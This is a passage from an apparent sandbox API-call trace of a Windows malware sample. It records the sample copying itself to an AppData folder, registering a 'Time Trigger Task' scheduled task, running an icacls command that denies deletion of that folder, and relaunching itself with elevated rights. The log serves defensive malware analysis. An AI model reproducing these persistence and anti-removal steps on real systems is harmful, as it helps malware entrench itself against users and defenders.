cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.675] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1e) returned 0x3a35600 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3a35600, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0042.676] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xde36f8) returned 0x84 [0042.676] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xde36f8, Size=0x88) returned 0xde3ae8 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0042.676] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2a) returned 0x3a28db0 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3a28db0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0042.676] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xde3ae8) returned 0x88 [0042.676] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xde3ae8, Size=0x8c) returned 0xddd678 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.676] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x12) returned 0x39f6ec8 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x39f6ec8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0042.676] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xddd678) returned 0x8c [0042.676] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xddd678, Size=0x90) returned 0xddd678 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.676] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x18) returned 0x39f6ee8 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x39f6ee8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0042.676] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xddd678) returned 0x90 [0042.676] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xddd678, Size=0x94) returned 0xdefd88 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0042.676] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x46) returned 0x3a07d10 [0042.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x3a07d10, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0042.676] RtlSizeHeap (HeapHandle=0xcf0000, Flags=0x0, MemoryPointer=0xdefd88) returned 0x94 [0042.676] RtlReAllocateHeap (Heap=0xcf0000, Flags=0x0, Ptr=0xdefd88, Size=0x98) returned 0xdefd88 [0042.676] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0042.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e2fc | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e2fc) returned 26 [0042.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e2fc | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e2fc) returned 26 [0042.684] GetLastError () returned 0x0 [0042.684] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x24) returned 0x3a27230 [0042.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x3a27230, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0042.684] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xa0) returned 0x3987cf8 [0042.684] GetLastError () returned 0x0 [0042.684] ITrigger:put_StartBoundary (This=0x2f31058, StartBoundary="2019-07-19T16:58:09") returned 0x0 [0042.684] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5488 | out: hHeap=0xcf0000) returned 1 [0042.684] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39fc750 | out: hHeap=0xcf0000) returned 1 [0042.684] IUnknown:Release (This=0x2f31058) returned 0x1 [0042.684] ITaskDefinition:get_Actions (in: This=0x2f30da8, ppActions=0x18e8c8 | out: ppActions=0x18e8c8*=0x2f30e20) returned 0x0 [0042.684] IActionCollection:Create (in: This=0x2f30e20, Type=0, ppAction=0x18e8b4 | out: ppAction=0x18e8b4*=0x2f310e0) returned 0x0 [0042.685] IUnknown:Release (This=0x2f30e20) returned 0x1 [0042.685] IUnknown:QueryInterface (in: This=0x2f310e0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e8d0 | out: ppvObject=0x18e8d0*=0x2f310e0) returned 0x0 [0042.685] IUnknown:Release (This=0x2f310e0) returned 0x2 [0042.685] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5488 [0042.685] IExecAction:put_Path (This=0x2f310e0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 0x0 [0042.685] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5488 | out: hHeap=0xcf0000) returned 1 [0042.685] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5488 [0042.685] IExecAction:put_Arguments (This=0x2f310e0, Arguments="--Task") returned 0x0 [0042.685] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5488 | out: hHeap=0xcf0000) returned 1 [0042.685] IUnknown:Release (This=0x2f310e0) returned 0x1 [0042.685] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc) returned 0x39f5488 [0042.686] ITaskFolder:RegisterTaskDefinition (in: This=0x30ff98, Path="Time Trigger Task", pDefinition=0x2f30da8, flags=6, UserId=0x18e370*(varType=0x0, wReserved1=0x3a0, wReserved2=0xe884, wReserved3=0x18, varVal1=0x41720b, varVal2=0xcf0000), password=0x18e380*(varType=0x0, wReserved1=0x0, wReserved2=0x120, wReserved3=0x0, varVal1=0x8f, varVal2=0x7), LogonType=3, sddl=0x18e394*(varType=0x8, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1="", varVal2=0x128), ppTask=0x18e89c | out: ppTask=0x18e89c*=0x2f31150) returned 0x0 [0042.801] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f5488 | out: hHeap=0xcf0000) returned 1 [0042.801] TaskScheduler:IUnknown:Release (This=0x30ff98) returned 0x0 [0042.801] TaskScheduler:IUnknown:Release (This=0x2f30da8) returned 0x0 [0042.801] IUnknown:Release (This=0x2f31150) returned 0x0 [0042.801] CoUninitialize () [0042.802] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xdac210 | out: hHeap=0xcf0000) returned 1 [0042.802] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39f1e50 | out: hHeap=0xcf0000) returned 1 [0042.802] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39d1a70 | out: hHeap=0xcf0000) returned 1 [0042.802] GetVersion () returned 0x1db10106 [0042.802] lstrcpyW (in: lpString1=0x18ee08, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0042.802] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0042.802] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0042.802] ShellExecuteExW (in: pExecInfo=0x18eac4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18eac4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0042.918] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39b1c28 | out: hHeap=0xcf0000) returned 1 [0042.918] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xdd3dd8 | out: hHeap=0xcf0000) returned 1 [0042.918] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xddce70 | out: hHeap=0xcf0000) returned 1 [0042.919] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xdcb7b0 | out: hHeap=0xcf0000) returned 1 [0042.919] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd9d220 | out: hHeap=0xcf0000) returned 1 [0042.919] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x3a091c8 | out: hHeap=0xcf0000) returned 1 [0042.919] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x39c6008 | out: hHeap=0xcf0000) returned 1 [0042.919] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xda1ce8 | out: hHeap=0xcf0000) returned 1 [0042.920] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd9f970 | out: hHeap=0xcf0000) returned 1 [0042.920] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fdac | out: phModule=0x18fdac) returned 0 [0042.920] ExitProcess (uExitCode=0x0) [0042.924] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0x3a26ff0 | out: hHeap=0xcf0000) returned 1 [0042.924] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd9e448 | out: hHeap=0xcf0000) returned 1 [0042.930] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x8e4 Thread: id = 3 os_tid = 0x8e8 Thread: id = 4 os_tid = 0x8ec Thread: id = 5 os_tid = 0x8f0 Thread: id = 6 os_tid = 0x8f4 Thread: id = 7 os_tid = 0x8f8 Thread: id = 8 os_tid = 0x8fc Thread: id = 22 os_tid = 0x900 Thread: id = 24 os_tid = 0x988 Thread: id = 25 os_tid = 0x990 Thread: id = 35 os_tid = 0x9a0 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x8d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 9 os_tid = 0x76c Thread: id = 10 os_tid = 0x758 Thread: id = 11 os_tid = 0x74c Thread: id = 12 os_tid = 0x72c Thread: id = 13 os_tid = 0x71c Thread: id = 14 os_tid = 0x718 Thread: id = 15 os_tid = 0x638 Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x128 Thread: id = 19 os_tid = 0x12c Thread: id = 20 os_tid = 0x120 Thread: id = 21 os_tid = 0x3fc Thread: id = 23 os_tid = 0x964 Thread: id = 128 os_tid = 0xb70 Thread: id = 176 os_tid = 0xbcc Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4da04000" os_pid = "0x994" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8d4" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x998 Thread: id = 27 os_tid = 0x99c Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x8d4" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x97c Thread: id = 29 os_tid = 0x660 Thread: id = 30 os_tid = 0x578 Thread: id = 31 os_tid = 0x574 Thread: id = 32 os_tid = 0x520 Thread: id = 33 os_tid = 0x514 Thread: id = 34 os_tid = 0x510 Process: id = "5" image_name = "ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" page_root = "0x4c9ad000" os_pid = "0x9a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8d4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x9a8 [0043.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x3b2c2fa0, dwHighDateTime=0x1d53dff)) [0043.035] GetCurrentThreadId () returned 0x9a8 [0043.035] GetCurrentProcessId () returned 0x9a4 [0043.035] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16325952109) returned 1 [0043.036] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0043.036] GetProcessHeap () returned 0xd50000 [0043.037] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0043.037] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName=0x411ff4) returned 0x76cb4751 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0043.038] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0043.039] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0043.039] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3bc) returned 0xd63f88 [0043.039] GetCurrentThreadId () returned 0x9a8 [0043.039] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0xd60fb0 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x800) returned 0xd64350 [0043.040] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x407684, hStdOutput=0xf7e35081, hStdError=0x0)) [0043.040] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0043.040] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0043.040] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0043.040] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask" [0043.040] GetEnvironmentStringsW () returned 0xd64b58* [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xaca) returned 0xd65630 [0043.040] FreeEnvironmentStringsW (penv=0xd64b58) returned 1 [0043.040] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc18d28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x114) returned 0xd64b58 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x98) returned 0xd64c78 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3e) returned 0xd60fd0 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x6c) returned 0xd64d18 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x6e) returned 0xd64d90 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x78) returned 0xd61188 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x62) returned 0xd64e08 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xd64e78 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x48) returned 0xd64eb0 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x28) returned 0xd64f00 [0043.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1a) returned 0xd63a20 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x4a) returned 0xd64f30 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x72) returned 0xd61208 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xd64f88 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2e) returned 0xd64fc0 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1c) returned 0xd63a48 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0xd2) returned 0xd64ff8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x7c) returned 0xd650d8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x36) returned 0xd65160 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3a) returned 0xd651a0 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x90) returned 0xd651e8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0xd65280 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xd652b0 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x36) returned 0xd652e8 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x48) returned 0xd65328 [0043.041] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x52) returned 